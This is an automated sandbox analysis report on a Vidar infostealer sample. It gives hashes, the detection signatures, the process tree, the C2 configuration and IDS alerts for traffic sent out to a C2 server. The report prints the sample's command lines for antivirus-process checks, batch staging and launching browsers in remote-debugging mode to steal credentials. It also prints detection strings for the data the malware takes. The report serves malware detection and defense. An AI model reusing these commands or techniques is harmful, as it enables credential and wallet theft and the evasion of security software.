Edit tour

Windows Analysis Report
jPKFh06jHI.exe

Overview

General Information

Sample name:	jPKFh06jHI.exe renamed because original name is a hash value
Original sample name:	9baf61196c985b17067f787d6373f142.exe
Analysis ID:	1658540
MD5:	9baf61196c985b17067f787d6373f142
SHA1:	1dda434580f65aff8e0f9dbcd20a3e46c56db89e
SHA256:	12dab9b1e693d996b00cd7812e3aa160fe3d85bd3441eb5655fd5f5d853984be
Tags:	exeuser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Copy From or To System Directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

jPKFh06jHI.exe (PID: 6824 cmdline: "C:\Users\user\Desktop\jPKFh06jHI.exe" MD5: 9BAF61196C985B17067F787D6373F142)

cmd.exe (PID: 6904 cmdline: "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7028 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7052 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7112 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7100 cmdline: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6172 cmdline: cmd /c md 714380 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 6312 cmdline: extrac32 /Y /E Hiv.jar MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 6156 cmdline: findstr /V "prague" Mean MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6176 cmdline: cmd /c copy /b 714380\Wake.com + Valuable + Concert + Cap + Continuously + Portable + Electro + Volleyball + Alien + Convicted + Acids + Assumes 714380\Wake.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 5732 cmdline: cmd /c copy /b ..\Revelation.jar + ..\Keyboard.jar + ..\Ellis.jar + ..\Leaves.jar + ..\Grass.jar T MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Wake.com (PID: 5716 cmdline: Wake.com T MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 3696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2292,i,16634395396908281,15865996952827246330,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2440 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

msedge.exe (PID: 8156 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2220,i,16376653140617758097,345704766534090837,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

choice.exe (PID: 1264 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3792 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5364 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7248 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7184 --field-trial-handle=2112,i,13478726597598513471,14813124092062783513,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199839170361", "Botnet": "go77lh"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Wake.com PID: 5716	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Wake.com PID: 5716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.Wake.com.3a10000.1.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x1e2ca:$str01: MachineID: 0x1d553:$str02: Work Dir: In memory 0x1e301:$str03: [Hardware] 0x1e2b3:$str04: VideoCard: 0x1dcb5:$str05: [Processes] 0x1dcc1:$str06: [Software] 0x1d5d0:$str07: information.txt 0x1e036:$str08: %s\* 0x1e083:$str08: %s\* 0x1d806:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x1db9f:$str12: UseMasterPassword 0x1e30d:$str13: Soft: WinSCP 0x1ddeb:$str14: <Pass encoding="base64"> 0x1e2f0:$str15: Soft: FileZilla 0x1d5c2:$str16: passwords.txt 0x1dbca:$str17: build_id 0x1dc79:$str18: file_data

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Wake.com T, ParentImage: C:\Users\user\AppData\Local\Temp\714380\Wake.com, ParentProcessId: 5716, ParentProcessName: Wake.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 3696, ProcessName: chrome.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\jPKFh06jHI.exe", ParentImage: C:\Users\user\Desktop\jPKFh06jHI.exe, ParentProcessId: 6824, ParentProcessName: jPKFh06jHI.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat, ProcessId: 6904, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Decide.jar Decide.jar.bat & Decide.jar.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6904, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , ProcessId: 7100, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:09.536526+0200	2028765	3	Unknown Traffic	192.168.2.7	49827	83.217.208.144	443	TCP
2025-04-07T18:09:35.301614+0200	2028765	3	Unknown Traffic	192.168.2.7	49686	49.13.158.58	443	TCP
2025-04-07T18:09:36.243179+0200	2028765	3	Unknown Traffic	192.168.2.7	49687	49.13.158.58	443	TCP
2025-04-07T18:09:37.369205+0200	2028765	3	Unknown Traffic	192.168.2.7	49688	49.13.158.58	443	TCP
2025-04-07T18:09:38.698387+0200	2028765	3	Unknown Traffic	192.168.2.7	49689	49.13.158.58	443	TCP
2025-04-07T18:09:39.821771+0200	2028765	3	Unknown Traffic	192.168.2.7	49690	49.13.158.58	443	TCP
2025-04-07T18:09:40.956144+0200	2028765	3	Unknown Traffic	192.168.2.7	49691	49.13.158.58	443	TCP
2025-04-07T18:09:42.358748+0200	2028765	3	Unknown Traffic	192.168.2.7	49692	49.13.158.58	443	TCP
2025-04-07T18:09:43.460795+0200	2028765	3	Unknown Traffic	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:44.426340+0200	2028765	3	Unknown Traffic	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:46.480614+0200	2028765	3	Unknown Traffic	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:54.580307+0200	2028765	3	Unknown Traffic	192.168.2.7	49726	49.13.158.58	443	TCP
2025-04-07T18:09:55.622976+0200	2028765	3	Unknown Traffic	192.168.2.7	49729	49.13.158.58	443	TCP
2025-04-07T18:09:56.736357+0200	2028765	3	Unknown Traffic	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:57.789214+0200	2028765	3	Unknown Traffic	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:59.068383+0200	2028765	3	Unknown Traffic	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:10:07.350703+0200	2028765	3	Unknown Traffic	192.168.2.7	49748	49.13.158.58	443	TCP
2025-04-07T18:10:08.343803+0200	2028765	3	Unknown Traffic	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:09.664174+0200	2028765	3	Unknown Traffic	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:10.767047+0200	2028765	3	Unknown Traffic	192.168.2.7	49783	49.13.158.58	443	TCP
2025-04-07T18:10:11.682794+0200	2028765	3	Unknown Traffic	192.168.2.7	49795	49.13.158.58	443	TCP
2025-04-07T18:10:12.987244+0200	2028765	3	Unknown Traffic	192.168.2.7	49811	49.13.158.58	443	TCP
2025-04-07T18:10:14.155318+0200	2028765	3	Unknown Traffic	192.168.2.7	49822	49.13.158.58	443	TCP
2025-04-07T18:10:16.258864+0200	2028765	3	Unknown Traffic	192.168.2.7	49825	49.13.158.58	443	TCP
2025-04-07T18:10:18.051779+0200	2028765	3	Unknown Traffic	192.168.2.7	49826	49.13.158.58	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:39.443034+0200	2044247	1	Malware Command and Control Activity Detected	49.13.158.58	443	192.168.2.7	49689	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:40.558636+0200	2051831	1	Malware Command and Control Activity Detected	49.13.158.58	443	192.168.2.7	49690	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:40.558450+0200	2049087	1	A Network Trojan was detected	192.168.2.7	49690	49.13.158.58	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:41.743038+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49691	49.13.158.58	443	TCP
2025-04-07T18:09:43.168421+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49692	49.13.158.58	443	TCP
2025-04-07T18:09:43.463757+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:44.429351+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:46.483474+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:55.640532+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49726	49.13.158.58	443	TCP
2025-04-07T18:09:56.437955+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49729	49.13.158.58	443	TCP
2025-04-07T18:09:56.740088+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:57.792091+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:59.071506+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:10:08.132230+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49748	49.13.158.58	443	TCP
2025-04-07T18:10:08.347026+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:09.713581+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:10.791562+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49783	49.13.158.58	443	TCP
2025-04-07T18:10:14.882969+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49822	49.13.158.58	443	TCP
2025-04-07T18:10:16.271504+0200	2059331	1	Malware Command and Control Activity Detected	192.168.2.7	49825	49.13.158.58	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:43.463757+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:44.429351+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:46.483474+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:56.740088+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:57.792091+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:59.071506+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:10:08.347026+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:09.713581+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:10.791562+0200	2859636	1	Malware Command and Control Activity Detected	192.168.2.7	49783	49.13.158.58	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-07T18:09:36.985085+0200	2859378	1	Malware Command and Control Activity Detected	192.168.2.7	49687	49.13.158.58	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000C.00000003.1121450612.0000000001235000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199839170361", "Botnet": "go77lh"}

Multi AV Scanner detection for submitted file

Source: jPKFh06jHI.exe	ReversingLabs: Detection: 41%
Source: jPKFh06jHI.exe	Virustotal: Detection: 35%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 94.6%

Source: jPKFh06jHI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 49.13.158.58:443 -> 192.168.2.7:49686 version: TLS 1.2

Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_00405B82 FindFirstFileW,FindClose,	0_2_00405B82
Source: C:\Users\user\Desktop\jPKFh06jHI.exe	Code function: 0_2_00406543 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406543
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00D6DC54
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00D7A087
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_00D7A1E2
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00D6E472
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D7A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_00D7A570
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D766DC FindFirstFileW,FindNextFileW,FindClose,	12_2_00D766DC
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D3C622 FindFirstFileExW,	12_2_00D3C622
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D773D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_00D773D4
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D77333 FindFirstFileW,FindClose,	12_2_00D77333
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D6D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_00D6D921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\714380	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\714380\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.7:49690 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.7:49687 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49692 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49691 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49695 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49695 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49726 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49729 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49730 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49730 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49698 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49698 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49732 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49732 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.13.158.58:443 -> 192.168.2.7:49690
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.13.158.58:443 -> 192.168.2.7:49689
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49696 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49696 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49765 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49765 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49731 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49731 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49748 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49775 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49775 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.7:49783 -> 49.13.158.58:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.7:49783 -> 49.13.158.58:443
